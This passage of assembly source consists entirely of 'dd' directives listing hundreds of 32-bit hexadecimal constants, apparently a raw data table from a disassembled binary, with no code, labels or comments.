		dd 0AFF72510h, 5C68D45h, 6CBECE25h, 8088670Eh, 0D0E6A625h
		dd 0C212757h, 147F71CFh, 23FE48E8h, 0FB7CF9B7h,	46831065h
		dd 470D4C32h, 660D2C30h, 0E9D21375h, 0FEE172FFh, 0FAE5DE13h
		dd 1116A518h, 11EB14E2h, 0FCEDF113h, 0B102942h,	0C32CE7Ah
		dd 0E41AD685h, 0E20F31Fh, 32BC63D2h, 3E95040h, 7168AF7h
		dd 5E8924C4h, 0B8307F5Fh, 0BF015718h, 19930520h, 56703E39h
		dd 0DF8D51E8h, 4C76568h, 831FE166h, 6487DB7Eh, 0F1D0FF6Fh
		dd 296A6975h, 56656FFh,	31030EE8h, 0BE56EBD6h, 250C03Eh
		dd 73633881h, 2F5E06Dh,	0A147869h, 0E11C1668h, 0A0003A05h
		dd 55B60F1Dh, 0AC525F24h, 561C84C2h, 58CA8AABh,	74D130C0h
		dd 0A41FEB20h, 2406CA18h, 0AE8581Bh, 20925991h,	625AF1A2h
		dd 0C021852h, 0DDC85580h, 0F1BD0840h, 7CF00B27h, 3B180DA0h
		dd 5F00441h, 1582D19Dh,	814BE53h, 0C39180BBh, 850F1EC1h
		dd 0CD497E3Fh, 7ED0587Eh, 0EAA1B056h, 0BE16D151h, 11084B2Ch
		dd 5E7D489Ch, 3F6366FCh, 1B69A0A1h, 8E85C2D0h, 4EC6FBEh
		dd 98AED5E8h, 9275ADh, 3846ADD0h, 847347F9h, 3C640B43h
		dd 3BDB726Fh, 0D9D11422h, 10C81245h, 0B5F07D8Bh, 0FC47807Ch
		dd 0E3335745h, 0C0FAE918h, 8B13CB33h, 4A97FBD8h, 54CF0FF7h
		dd 7F3E7A31h, 47B9D7Ch,	85A17756h, 695D973Eh, 1012CFE3h
		dd 94F87EF4h, 0B8403F50h, 4783486h, 0F812044Ch,	762A827Eh
		dd 22372741h, 13B13D9h,	951AF8DCh, 86D52342h, 333E39B2h
		dd 0F416E17Fh, 105F82DEh, 0C2D198D7h, 0E96F24EBh, 200D620Fh
		dd 8135A853h, 566460A9h, 2C450208h, 80EDA55Fh, 0E914C349h
		dd 8335F169h, 0F685DD54h, 60E80C42h, 951C5205h,	150D6C92h
		dd 954A0988h, 0B547F006h, 0D5EBA760h, 60B35E9h,	3DBDCC14h
		dd 96C8A44Ch, 35217A4Ah, 9AAE18C4h, 0D0CB25BEh,	6999BD9Eh
		dd 0D6FEA773h, 6224ABE9h, 0F031BFD6h, 733AF80Ch, 7C3E8F4Fh
		dd 7C0E3343h, 17A9F37Fh, 83104E16h, 0C2A40319h,	5768F45Ah
		dd 795A8006h, 8126F5C2h, 0F0C083B0h, 823F6B49h,	6FBC502Dh
		dd 0EA012029h, 0C602E7A1h, 89A9EB14h, 0E7DB77D4h, 0F247273Ah
		dd 804A1897h, 508D8A78h, 9AB3D2BDh, 4C2C9ADh, 0CBD6A1E2h
		dd 5202602Ch, 75B74CE8h, 220B2F4Ch, 0E0206F6h, 4A07AD0Fh
		dd 0D37F893Eh, 4601A881h, 9790A0Fh, 0EB2030DDh,	1649AF2Eh
		dd 75AD9A03h, 0F7F005B0h, 650CE487h, 73395DA9h,	0E4752FF9h
		dd 0AF802DF2h, 60975574h, 0F4057EB8h, 1ECD9977h, 0AC533516h
		dd 8AA14162h, 0A5F04448h, 0F9BA0C44h, 0BBAC5F95h, 667D5927h
		dd 0EC5A9D4Eh, 2F69EC7Eh, 488BD4A5h, 0B3DE3B13h, 37A468FCh
		dd 0B7F0340Ch, 0D7A675EBh, 6463A0C6h, 0F3950DF8h, 7892A55Fh
		dd 0A7B0C009h, 719C0374h, 452E904h, 3620B98Dh, 6CE99D20h
		dd 44253F1Ch, 37240212h, 92FD21EBh, 0F3D82A01h,	0B949BC2Ch
		dd 0E8570314h, 1697106Fh, 0D8425AF9h, 98367484h, 0E83F576Fh
		dd 4623E105h, 0F33B6804h, 40280A1Bh, 953B8689h,	2A1E0C73h
		dd 13704910h, 18A29784h, 0C9835707h, 5E4ABB86h,	2F572D9Dh
		dd 233FF804h, 5176A51Ch, 0E0BED493h, 4F7DCC9h, 963E1FFBh
		dd 0D450B4Dh, 1220C713h, 25A043E4h, 0EA178FE0h,	2827153Dh
		dd 5D42150Fh, 54CE75FCh, 1EA466B1h, 26F3F8A7h, 6D64BBD0h
		dd 3C41A9A5h, 453CE80Dh, 2DC9C8BFh, 686422F5h, 0B8D4E616h
		dd 0E951B727h, 0BDF1963Dh, 0EB4831BAh, 269244CFh, 78C2EE8Fh
		dd 0D84689D8h, 0A3E42A67h, 0F1E0FC7Fh, 3F817E41h, 27820E28h
		dd 3CE97F83h, 14B2FB21h, 12A197E4h, 0E6C54739h,	0D4170A13h
		dd 3130E74h, 0FB190C52h, 0CD3B01A2h, 69D4F55h, 78831975h
		dd 0ED137E6Dh, 1ED30A18h, 27CE8853h, 8D183654h,	0FC740C44h
		dd 404126E2h, 697A76ADh, 1422E913h, 0A12ADE6Bh,	474E6011h
		dd 49107CE8h, 0FEF66F91h, 3B44E061h, 6858B9A2h,	0CE17884Ch
		dd 5836EB35h, 2D30454Eh, 12D82BBFh, 0A55A1E91h,	880B2FEFh
		dd 852B1214h, 0C1369712h, 0A2E97D22h, 8964891Bh, 521D8731h
		dd 4C085D85h, 0B3821073h, 8C6284E4h, 0E4AC9516h, 4FD814E0h
		dd 95BD7B2Ch, 7E7F24E6h, 850F0416h, 508BE4F4h, 8AB42307h
		dd 5608BC60h, 3497EB33h, 56608518h, 57E83A75h, 8C29462Ah
		dd 0C6349158h, 82A97E74h, 0FA7F0734h, 94674A08h, 0EB87601Bh
		dd 34F0A266h, 42562899h, 0EB1FE36h, 0CFA4848h, 3B1BCA84h
		dd 58041DC5h, 468D401Ch, 47500828h, 476CB346h, 0B9620264h
		dd 0B11FEB94h, 110F991Ah, 0C44CB8E1h, 64015216h, 52529FA9h
		dd 5A4C49BFh, 0C41C55EEh, 717C2888h, 4AF99951h,	1B7489ABh
		dd 4444BC4h, 6AA9111h, 0EA70FF51h, 62D37868h, 5A1D9056h
		dd 3BABFC38h, 76675495h, 0E56A558Ah, 0A53C16F1h, 2965801h
		dd 0D285C603h, 20E10D7Ch, 229EB132h, 0CAFD0E0Ch, 0B371C1C9h
		dd 4B90CB6Fh, 512579ADh, 2C530BDEh, 0A4BF55FBh,	0DB6D4747h
		dd 940EB31Ah, 0F8CED08Dh, 29D95DDDh, 8C2EEB5Eh,	5147589h
		dd 86B302B9h, 284564E8h, 2B85595Dh, 91DD0CC2h, 0CC08F938h
		dd 0A3A84BA1h, 0A8162C61h, 49EBD050h, 1FD02607h, 34D09E4Ch
		dd 338DE909h, 50523314h, 2114AC56h, 4A76437Bh, 60349D54h
		dd 0DE4FA616h, 0BCD6ECA8h, 5EFC1325h, 0C32D86B8h, 0D2CE7BD9h
		dd 7A4329FEh, 987A8A9Dh, 0AF816188h, 0A6817A0Ch, 9E81E808h
		dd 0FB488118h, 287D841Dh, 1E78BEAh, 37E85302h, 1EC6FFDDh
		dd 0BD025840h, 6B43876Ch, 0F5120EA2h, 7C5E851Bh, 0E89286A2h
		dd 64FC88C0h, 86842403h, 5E23ADEEh, 29108CA6h, 5EA9A214h
		dd 8D512FE7h, 16DBFDD2h, 1721C417h, 3B68EB65h, 0CC810C8Bh
		dd 28068A57h, 0C0841911h, 5360CC0Ah, 53094FE1h,	6DAEA8C4h
		dd 0E32A360Bh, 41C088D2h, 0C6FFDC6Fh, 5EC04634h, 361989ECh
		dd 3857CAFFh, 16E55CD2h, 18370A25h, 0C7110686h,	29014646h
		dd 0B7FEE455h, 0E531CC6h, 0C1942212h, 3E80EE92h, 0D9F46025h
		dd 32900852h, 24E809CBh, 91F248E9h, 0F8EA2DF1h,	0FB0CC97Eh
		dd 90E4D141h, 0F403E006h, 1F345C6h, 8AD00E32h, 0B457095Eh
		dd 0D204406Fh, 0C2FFDB38h, 0D4A748E7h, 0FFF40E1Eh, 4BF1E77Eh
		dd 40D0430Bh, 165EB67h,	7F4EFB83h, 975E743Eh, 70872A0Eh
		dd 54A646C7h, 0B543BF0Ah, 754C0A06h, 73C8FE37h,	7E800FEBh
		dd 2C6C3601h, 3458020Ch, 23F274EFh, 7DD07CC9h, 42DEE909h
		dd 0EBF08B40h, 0F246CE27h, 685A22ACh, 0A177432h, 7737846Ch
		dd 1B2840C6h, 790EEBF1h, 6F0067Eh, 7F14DFAh, 8B7D8082h
		dd 4BE455C5h, 24D314D0h, 55396D89h, 2CEF3C8Ah, 41069BCh
		dd 50449F79h, 28EAD453h, 7524E47Dh, 3C0D8814h, 43D19A53h
		dd 786BE33Ch, 1D044F05h, 0A10197EDh, 33CA00ACh,	2073CE83h
		dd 826EFE30h, 0CE2874C4h
		dd 14AC6310h, 76B77B0Ah, 910816F8h, 0DEB5E843h,	0B6E4B44h
		dd 517E701Fh, 0AE930E76h, 5248EFECh, 0F40A32E0h, 0F172828Bh
		dd 826F66C9h, 0C025EACh, 5420A1Eh, 2C126333h, 36422FCh
		dd 311504F8h, 0C0F6A8Eh, 0A387E67h, 0D47DB869h,	57119BE3h
		dd 7BBC4502h, 864C861Bh, 21E9318Fh, 70646A0Bh, 36B85D0Dh
		dd 422DFB32h, 0EA8287Eh, 7A4D01E9h, 8D2B8513h, 0A8F53CB5h
		dd 0E753682h, 0B8C9D88h, 438A3D22h, 2B260950h, 55AB1775h
		dd 0A721AF42h, 0BFCEE857h, 0AAD8A891h, 3EB66C6h, 7083732Fh
		dd 0B7D295E0h, 9D5DF426h, 87EC7E93h, 45330945h,	0F2080488h
		dd 0DCA454D9h, 0A86C2142h, 0B0C11715h, 461E88E4h, 1C705E52h
		dd 1D38BB12h, 57757EB4h, 5C2A2966h, 2A0DF723h, 6889A21h
		dd 9E462A42h, 0BC84436Eh, 0C9A08702h, 3863E449h, 51FB448Eh
		dd 0A97D265h, 0D1DFAC45h, 0C676C139h, 37486506h, 560DF3CBh
		dd 7528752Dh, 46498605h, 2C1E8A27h, 9A2128CCh, 2D0F54ACh
		dd 55D18C9Eh, 0D8DDB1A7h, 5912880Eh, 98041908h,	5E9AA0C9h
		dd 0A2138D72h, 0F6A46640h, 90DC0549h, 154D36A0h, 5ECC7D50h
		dd 0C4C6A926h, 0C8C4BE0Fh, 48D45081h, 0AB6D133Bh, 0B3FC4413h
		dd 52A42988h, 0FF0A7584h, 5410C70Dh, 7EB68C9Dh,	0EA7DA69Ah
		dd 320BF25h, 3F0BE979h,	83A48B2Bh, 0A3B8317Dh, 8C8D3F02h
		dd 9F51EEE7h, 59969D69h, 39A86A11h, 24741362h, 3BF2D763h
		dd 0FA22A763h, 562C983Fh, 0C31A8AEBh, 20628704h, 0B8E91D68h
		dd 3D624EF7h, 4DB25A8Bh, 5E3F8009h, 983D97Dh, 75D0C78Bh
		dd 6799E924h, 2215326Ah, 485E4CEDh, 5C06CC44h, 0EB0116F1h
		dd 680E7111h, 0C6362205h, 557430FBh, 1A0C8645h,	0C3B58C4Eh
		dd 743B1927h, 0D558102Fh, 0F6F3312Ah, 0D43EB27Dh, 5E6F02E5h
		dd 2F9A16E9h, 123A3B8Ah, 11CA238h, 0E95B306Ah, 455C01FDh
		dd 0B0598909h, 786A858Ch, 10CF48EBh, 822918F2h,	0FFFFE8C5h
		dd 9C5BB0F0h, 5613E9A9h, 7DE5CCA7h, 1AB07BE8h, 0D45DC681h
		dd 47E8B209h, 20A756C4h, 558AFEC0h, 9F07E6CBh, 5F3A62D8h
		dd 4A36D847h, 3D3F2FBDh, 80CFB1DFh, 3A473620h, 0F80473D1h
		dd 8EB67C1h, 45F6FC2h, 832177D0h, 601D233h, 46F22BF0h
		dd 0C2C9CA8Bh, 0B39E047Ah, 0C9DCAB01h, 4E42809Ch, 327D757Dh
		dd 44B4EB30h, 2BD08AC8h, 0C31FC18Bh, 0EC499BEBh, 4011199h
		dd 0B24E8542h, 0C3145ACFh, 961A48E6h, 6BBF485h,	3D53E82Fh
		dd 4899E582h, 9943320Eh, 8D2F9C68h, 1A8420E8h, 5AFD3DA2h
		dd 7E32A0DAh, 6AC8198Bh, 305ACB01h, 0E8185D2Ch,	0C11CE2D3h
		dd 160360F9h, 339C0D4Ch, 0D185CB04h, 0CF886074h, 0C526675h
		dd 414A94EAh, 45889130h, 2D3196C8h, 0D962E71h, 67030063h
		dd 0D9C92EDDh, 7DAF1255h, 0C2082DACh, 0B1342B90h, 0ADD42E2Bh
		dd 0F1EAE112h, 2014311Ch, 1AB203BCh, 2ED49E81h,	72670BB2h
		dd 105C85D0h, 0AF4FB508h, 0B002248Dh, 0A5BA8839h, 0CEE6281Eh
		dd 86027F50h, 0E3C9E68Ah, 86261472h, 0A0D45AA0h, 204C838Bh
		dd 126028A6h, 985811CBh, 0BB01F3BAh, 6750BCAh, 8062C692h
		dd 1A624E4Fh, 32EF4503h, 4D4BD03Ah, 5D860192h, 0E34CE9F1h
		dd 3E049289h, 95B24F75h, 9524EF92h, 0D5F53787h,	850DA08Ch
		dd 52172514h, 14A32E55h, 5532D867h, 59C7C0DCh, 0F4B754E8h
		dd 1E896E53h, 7D2E7C70h, 53594E02h, 0F1C4EC66h,	5D303AD4h
		dd 15756FF0h, 7D38B8A0h, 20505353h, 61674503h, 52E87B39h
		dd 0D806DC8Ch, 0A906E81Ah, 0C8601278h, 19438D11h, 1A0199D0h
		dd 0E5320411h, 0AAF0AE05h, 36E5E424h, 5FE97E72h, 0FF24E5D4h
		dd 84023950h, 1E9ED81h,	0BB5CDC84h, 0C36AF34Dh,	0AF86D154h
		dd 8EEBD9F0h, 12C4E91Ah, 8CB20F28h, 0A3F7433h, 0B63AAA70h
		dd 0B22C43C5h, 80A1176h, 0E7C1006Ch, 8D3FEB03h,	0D178BF3Ch
		dd 4E45FAEFh, 1DD3EF42h, 53377486h, 29E8FC6Ch, 48BB0144h
		dd 2DAA1E4h, 0D01F7C8Dh, 5821DEBCh, 3C5C6401h, 8101425Bh
		dd 0DFF70274h, 0D5468C42h, 0CCE6F89Ah, 5A9BCE70h, 99297509h
		dd 4892D056h, 2D35B210h, 0DC9769D8h, 9310EB11h,	6237F33Eh
		dd 8638C9BFh, 7C0A66AEh, 5896EFFEh, 0E45E870Ch,	0E1EACC42h
		dd 0C47754E1h, 3BC98100h, 24FBA7C3h, 0A8F2550Bh, 18146293h
		dd 2CC2B719h, 50CA0E28h, 3E1525C8h, 77E66B9Fh, 2A78F9E2h
		dd 0C7CF2FDh, 6E1FF7ACh, 0F042449Eh, 6084068Ah,	4E568546h
		dd 305C0AF6h, 0C4AFC9C7h, 0E7460569h, 9B278B5Fh, 269817E5h
		dd 181DD07Dh, 0CA56738Bh, 0CB11A5ECh, 6E5CCC9Ah, 4BAC3894h
		dd 0B941F1E2h, 5728A73Bh, 7E560B76h, 5F23CA10h,	0D2770D48h
		dd 21CD5BB4h, 9311A62Fh, 0E6D2371Dh, 7EE3004h, 0C35BC2AAh
		dd 0FF8CA37Fh, 978994Ah, 0C97B0AF5h, 52C3D8A2h,	37EAE826h
		dd 1690F549h, 0F5B74FFh, 14A722A8h, 8AF9AC28h, 0D7274F56h
		dd 62D9D44h, 0BFBDF2E8h, 7BC126E3h, 89623E28h, 6E5475E7h
		dd 242283C7h, 2759F253h, 0C7A06CEBh, 8C0F46FBh,	0FFC7A355h
		dd 0D7C8ACBh, 97978F22h, 340A02E6h, 9A8244BDh, 0F6AF6027h
		dd 9850EBC3h, 0C7E02FFh, 0EBE84601h, 0C31F8B9Fh, 69844B8Dh
		dd 0E5956DC0h, 0F202A583h, 0F85940D6h, 86D14803h, 0C2ACF03Ah
		dd 8D1C022Eh, 86FE400Ch, 112E446h, 3CC96BC8h, 40184D03h
		dd 81600D06h, 0D04F96C9h, 0BC015B1Eh, 8D874090h, 80118C03h
		dd 0E57C5581h, 203404F8h, 5056B82Bh, 45D76424h,	45A0C1FFh
		dd 0F86220DCh, 9A192A5Ch, 68B493Ch, 7D687891h, 43E8C14Bh
		dd 0E94F4E95h, 3D3BC13Ch, 46B3640h, 0B286837Ch,	0F75E72BEh
		dd 10E64DE4h, 0DF1C8D1Fh, 727E487Dh, 301F0898h,	69120104h
		dd 972FB2B0h, 3C12327Bh, 161A28EAh, 0E8376A74h,	8F7B2F04h
		dd 0FB4C1EB0h, 663BDF2Eh, 581C40C5h, 7E0CEF51h,	0FEDAAAFCh
		dd 0A08BDBF5h, 33021BF9h, 5A943CEDh, 64DA41B2h,	0ED3CB4B0h
		dd 555C0974h, 6110311Ah, 22F15EBh, 258314C7h, 5DAC4255h
		dd 2E091DB9h, 5D1217A7h, 0AF99645Bh, 0BF1DA4CCh, 0FF19E181h
		dd 84B42076h, 660EC196h, 0F70C4381h, 40764CFBh,	46190639h
		dd 3E040608h, 75848FF2h, 11910E09h, 2329256Fh, 7769E954h
		dd 2004EA93h, 400D46F6h, 82AAFC94h, 8DAB81B8h, 1B46320Ch
		dd 2846CBB5h, 0BC3C5332h, 0FFD5B580h, 3E12802h,	759D4080h
		dd 0A9661437h, 312FF308h, 762D9A7Bh, 10261397h,	3273CC1h
		dd 0DF6B2D5Ch, 99121642h, 241824F8h, 0EB1289FDh, 46EBBD07h
		dd 0AFFFCBA1h, 820E7A63h, 0EC66D799h, 202C197h,	0BEC3253Ah
		dd 0C8AD47F5h, 3509CCF6h, 7E682020h, 611CA14Dh,	48B0E25h
		dd 38AB24B0h, 0F89748EEh, 30E48152h, 910A034h, 500F7501h
		dd 29C1F9DFh, 431D0279h, 16891AEBh, 0BE13F584h,	0F1365926h
		dd 0BFC751Ch, 119D61EDh, 56B37C4Dh, 2F6E239h, 382BAC99h
		dd 2FE25649h, 0BC10C57Bh, 7B0A8499h, 6FE9DEC8h,	14B1DAEh
		dd 35EAACF4h, 0A61A3688h, 82BF22B7h, 2A4A5CBBh,	70EE846Ah
		dd 48D7868Ch, 0EF6C1C4Dh, 508B67D4h, 16C2AC56h,	0A0347582h
		dd 8333570Dh, 0CF1422F9h, 0F46BC157h, 0BD3C428Fh, 4CFBA1Bh
		dd 4F8A20BFh, 805F0904h, 4E0C82E1h, 0CEF0065Ch,	8172EED8h
		dd 1D71977Eh, 4E68E53Fh, 48EBF152h, 10E4C533h, 480E8B03h
		dd 54E3D15Fh, 0B87B9551h, 221D96AAh, 0DB09AF79h, 9BC42860h
		dd 0ECDABF86h, 49FCD0B1h, 46C58BC8h, 92C390EEh,	93BF92C9h
		dd 1DD3AFC9h, 8AC68F3Fh
		dd 4EB05450h, 9E21BCA8h, 32F8650Ch, 0F79EDC7Dh,	1ACF75DEh
		dd 0E88630CBh, 5A950A62h, 5402F3Fh, 1640B6F8h, 1C8CBD10h
		dd 15B4F86h, 0C68B8AFDh, 0A050A02h, 83BF4BF7h, 0FD2E5950h
		dd 3412513Ah, 25B6AF30h, 0E33A4D7Eh, 0EE056A85h, 9CB948D7h
		dd 0D8926BEh, 3EE942CFh, 6DF87182h, 35EC917Fh, 5EBB19A8h
		dd 7C35BD74h, 4EB02652h, 0F1F4A5B0h, 908977CEh,	948A1085h
		dd 0E148856Eh, 85778BFCh, 601B0FD2h, 4750A3Fh, 3860E50Ch
		dd 88FB2F24h, 78FC56CAh, 3100DBBh, 0D47ACAC8h, 0EB638534h
		dd 75811635h, 68911A3Ch, 0CCB85BAEh, 32B60B28h,	0E928FF47h
		dd 4928FA64h, 7334C539h, 86AF4518h, 7FB09275h, 0EB0212C0h
		dd 3707C65Eh, 958B470Dh, 59CC6673h, 9C6612DDh, 0D18DD522h
		dd 15990A11h, 0C64F6E47h, 0B657774h, 8A132006h,	1720A95Ch
		dd 0B8B8F80h, 31448847h, 29EB0509h, 7548073Bh, 0FF5680C7h
		dd 2EBAFBC8h, 9C18EB9Bh, 0E8C7B494h, 33023726h,	740A1A68h
		dd 0C0227804h, 820F9388h, 0EBB934F3h, 745E24F1h, 3106F4A9h
		dd 2E51193h, 9C2BE188h,	56E7898Eh, 71F4BD7h, 29FB5B93h
		dd 0DD35D9F3h, 0D932AF24h, 0EBDB1687h, 0AF68C189h, 1A74610Eh
		dd 0D70F728Bh, 1048EC17h, 0B93A0122h, 0EB1B0C5Ah, 833FC942h
		dd 87E77CEh, 1427096Ch,	5A9CA002h, 0E5477B8Ah, 4FA0E82Bh
		dd 0D33B2145h, 0E4C437FFh, 0F863C0BEh, 7ECE7F54h, 2BE8E760h
		dd 7A0A4556h, 0E364019h, 4866CEB8h, 6C41AC9Ah, 0A312C439h
		dd 0C0C75E8Ah, 0EB20C983h, 8E15B754h, 4C57288Dh, 0CF40CDA2h
		dd 7D14DD7Dh, 54909820h, 0DCA1734Eh, 0DEFC9020h, 0CE81C920h
		dd 82EB19E8h, 80E1B84Ch, 5975C885h, 58E9E80Bh, 0E882C172h
		dd 84FD7462h, 0B0B2E47h, 685BEFCh, 0A854075h, 803B7603h
		dd 53E9C1CDh, 0F8C83FB3h, 836E2EEAh, 0DBE6813Fh, 3CE994C1h
		dd 8517174Ch, 0BE9CE16h, 2F25E91Bh, 65747726h, 191BD21Fh
		dd 0F0847219h, 0A4688811h, 10451DBEh, 146627EAh, 0C833D229h
		dd 3B167070h, 2BF47DCBh, 2669961Ah, 23EC0BB3h, 7048A158h
		dd 4581D7Eh, 80A1899h, 0F2F806A5h, 0A68C105Bh, 2556B915h
		dd 0ED333002h, 25AC477h, 5D7E57D5h, 0B0E61D8Bh,	0F7FFB78h
		dd 1516CD78h, 451641F6h, 0D0404B0Bh, 3C2FCFBh, 3FEBEC7Ch
		dd 57FF348Bh, 6AF85024h, 0E709C120h, 5F6EE802h,	0DEAF4E3h
		dd 85893085h, 3CE898D0h, 0FD3B0716h, 0ECF7BFF0h, 0C0F0AAF5h
		dd 6E89FF3Ah, 0F87BEC6Eh, 2E64EEB6h, 0ECAB1C0Ah, 81A4D6C7h
		dd 53B2C53h, 575641D7h,	0B38EC673h, 4AEDBC56h, 943C9D23h
		dd 31810F28h, 4EC05612h, 9D96287Eh, 670C7562h, 4FEB0B32h
		dd 5EA529D6h, 6D584B8Fh, 5D941527h, 7395E74Ch, 1C09C46Bh
		dd 0C23A457Ah, 935A078Bh, 0E78DFD26h, 83C3A6BDh, 6478B1D6h
		dd 9F8EEC57h, 39107744h, 752F07FFh, 5D03D7F4h, 8B5D2110h
		dd 0D641E830h, 55E26960h, 5B7C1640h, 3578B3Dh, 8C2F766h
		dd 2BEE0201h, 12E90447h, 74FF1C4h, 0FED8EAB4h, 0D26FB8D9h
		dd 3FE3F868h, 0AD6BF29h, 0DDFAC1DEh, 441FE30Fh,	3249514h
		dd 8004DAD8h, 0D1F028BBh, 733CD03Bh, 0A3A9722h,	0F80E41AAh
		dd 0BEF1EB42h, 124BFB62h, 0E9A132FDh, 0FE0844C1h, 6BBE991Ah
		dd 19ADF538h, 0C47F604h, 0F0A8BF01h, 0F98657CBh, 212032D2h
		dd 2B924455h, 0C203C117h, 9CC6D7E4h, 6645EE6h, 92AB6AE3h
		dd 0CB81FF2Fh, 59FE7FE8h, 0D5C007C2h, 39C4E91Dh, 8B73DC4Dh
		dd 38E30573h, 40E48B37h, 820D4745h, 2F853401h, 4D3208FCh
		dd 0EF2CB89Ch, 5C4239C6h, 4F251C77h, 1705D611h,	0BD47C25Ch
		dd 67B4340Fh, 420F1E9Ah, 6A290699h, 0B8F8D64Dh,	0B1C103D8h
		dd 0AB5749DAh, 0F27F7BB3h, 0CC0169F7h, 7E750024h, 6E20FF46h
		dd 6853385Bh, 0BFBE63E5h, 0D84280CDh, 77D15D88h, 241D898Ah
		dd 0C220EB1Dh, 438A0C42h, 35841CA4h, 1B251A16h,	4B204410h
		dd 5AE8E57h, 0EB107E6Ah, 0B79EFB98h, 11613B9Ah,	0EE1E44A1h
		dd 0F41D8892h, 0C66F2FA9h, 0E9164921h, 3F2BC9FBh, 0A6D318C2h
		dd 36322045h, 7A6BC4A1h, 2FE8A1F5h, 244BDD20h, 2F16B935h
		dd 0EFF694EFh, 0A97DB1C9h, 0DF3BE409h, 0DAADC059h, 1B0403CAh
		dd 2403C083h, 9D9AE8C0h, 26B7FF71h, 5F84C465h, 135788DCh
		dd 3325B1B5h, 127D2E95h, 0D072DB7Ch, 2B6674D1h,	626AEF87h
		dd 581D444Dh, 424DF513h, 0A6461BF2h, 8B5F8822h,	3BD87C80h
		dd 327404F7h, 830D45F6h, 7E324078h, 25B2F21Ch, 7FD6053Bh
		dd 79DB641Eh, 36225733h, 1C98478Fh, 0C8658D16h,	7496D1E7h
		dd 36B408E6h, 319CE6C2h, 8106ADCh, 5B12C8B4h, 0B39BDB92h
		dd 74DFFD06h, 57CB56B4h, 74C568E4h, 0B490509Ch,	8047518h
		dd 8DAC06EBh, 206852C2h, 6221FC02h, 0C09A0C15h,	7168A5DDh
		dd 28C686E4h, 4F076CE9h, 0D227BC54h, 8D56D702h,	0DD9C14Ah
		dd 402AA52Ah, 49F18B5Fh, 0F319EEB4h, 5D85E1Bh, 843FD02Bh
		dd 0A973C225h, 0DEE67F25h, 80778858h, 353B59F0h, 9550BA44h
		dd 6A9AA15Ch, 3BA50325h, 561421F3h, 30B8D204h, 393A1EE8h
		dd 0DB727494h, 3D420D7Ah, 0CD1A7C20h, 32EB2FF1h, 8A8A8C3Bh
		dd 5524C6EBh, 81406A2Dh, 3760BF6Bh, 157D2034h, 518901E8h
		dd 0AAABF309h, 38647182h, 0EF860F01h, 0EE98232Ah, 0BB841411h
		dd 0EF4D8D03h, 0D2D2118Ah, 2EBB9C71h, 83719B6h,	0F9C23BD3h
		dd 26419387h, 8B966188h, 0EE4B0A04h, 92095353h,	6252348Dh
		dd 49460CCh, 4E9EF4AAh,	3BB09240h, 74CBB880h, 51378A2Ch
		dd 25768E01h, 9886837Eh, 5FC73BFAh, 0FC47A077h,	28928A18h
		dd 0A1900843h, 28874047h, 1941F576h, 75C882F7h,	461157D4h
		dd 4147408h, 0F3C17220h, 0AA5CEB30h, 50B890A3h,	29ADA4A3h
		dd 0C99C6E8h, 0BF7934B6h, 0A5215067h, 93A35912h, 55EBC1BCh
		dd 0FF798389h, 71BF2A70h, 0A2589519h, 3D3F5F94h, 0F17265E1h
		dd 90026C56h, 0A555902Dh, 41FBBB10h, 4CC3040Ch,	0EB02AB4Eh
		dd 1D390D0Bh, 0F00B2BD0h, 0BA1B9654h, 624EB2A6h, 0C27303EBh
		dd 14F571A7h, 56542225h, 0DFC698FEh, 9463E98h, 199425FFh
		dd 155AFD6Bh, 8BAC9021h, 62340F16h, 4A111A29h, 0E538A42Dh
		dd 83227407h, 0F858ABE8h, 44B07BEBh, 4C649548h,	218BB87Fh
		dd 21BE120Ch, 22111F08h, 404A34B0h, 6D5C2EA1h, 0A6B5AEAAh
		dd 0C649EB18h, 0C415DD0Dh, 1429D8EBh, 0B92A0541h, 0E8FF24C2h
		dd 450B1E69h, 787CAC16h, 5848861h, 408FF57Bh, 0F472C683h
		dd 0F2458A1Dh, 120E8594h, 1F48420h, 558D2657h, 0B1B61261h
		dd 0C13BF47Ah, 781D772Fh, 2BBC541Fh, 20B83441h,	0FC9EB03h
		dd 0C9EB8504h, 42AADC0Fh, 0FFE68AE2h, 0D0756AC0h, 0D96A5B5Fh
		dd 6FA88E8h, 848E84EAh,	19D5957Bh, 0D27F56FAh, 4078221Fh
		dd 9FD2489h, 0BB561E02h, 3521D51Fh, 81A2AFE8h, 0E5FC4224h
		dd 2891A2BDh, 83168722h, 0EE5C5CC4h, 0D89F7368h, 921B66Eh
		dd 0FB301674h, 94288A10h, 90FA6505h, 67EB6044h,	7402361Ch
		dd 13206210h, 0E3EBB905h, 1D12A080h, 3D158212h,	0EBBF0901h
		dd 87163A49h, 19E64126h, 0AB5A4C0Ah, 0C83C4C46h, 0FE20C19Eh
		dd 0C31F4A54h, 13726132h, 777A0A0Ah, 3CCC4F0Eh,	56EBEAE9h
		dd 97624DE0h, 0F55C5EBEh, 70A58C95h, 0C58755Ch,	0DD2CE8FDh
		dd 23FD9059h, 79AD388Ch, 2E5C1479h, 89894C4Bh, 114A7506h
		dd 0E8F1A437h, 8C2AAB2Eh, 26B0635Dh, 556102Fh, 2AA3D47h
		dd 4A018A10h, 0F60BA77Eh
		dd 88751886h, 3313EA07h, 19354147h, 161A2F6Dh, 6214AE52h
		dd 100826CAh, 0F875722Eh, 6780260Ah, 4323BF6h, 80C0FE0Ch
		dd 0ADB84AC2h, 5625E6Bh, 0DC1F0171h, 0B562D152h, 5F681ACAh
		dd 2B9B5D5Fh, 0F45B0490h, 0D4F3BF9h, 830FB330h,	2674B979h
		dd 8AF11382h, 0E6C8D66Eh, 0A5578101h, 7DD00245h, 0CBF6D810h
		dd 1EE4F006h, 8B7D1482h, 0F4A2D8C8h, 0F7E81451h, 64DBC9F6h
		dd 8B5FC68Ah, 0C118C1FAh, 0C51EA16h, 5FCD933h, 0E786C881h
		dd 93F525AFh, 0FCFC1434h, 0E94FE82Bh, 172935D2h, 0D3EA0695h
		dd 0AA650AB0h, 0F384F014h, 42889609h, 95814128h, 0CA2B2A41h
		dd 7CA9CC6Ah, 0F88BCC14h, 172B8F3Ch, 0E080DCDh,	0E40CBE57h
		dd 43743154h, 1F4E68Eh,	6483F86Bh, 146F0B7Ch, 147DB0CAh
		dd 0BA8A7210h, 6314A27Dh, 2E2BC0Ch, 5F740801h, 3858056Ah
		dd 4C7516FCh, 0A32F338Bh, 6A80FE91h, 80932EA2h,	8DC7EB06h
		dd 0DCF44D28h, 65C85096h, 58140B51h, 0EBF844D2h, 892DA752h
		dd 48BE499Ch, 0D759819Eh, 4082CC3Dh, 79BD1C90h,	0F2042F58h
		dd 22CFD4CDh, 89221C6Ch, 0EB6D823Dh, 0F0A08516h, 0FBE440F6h
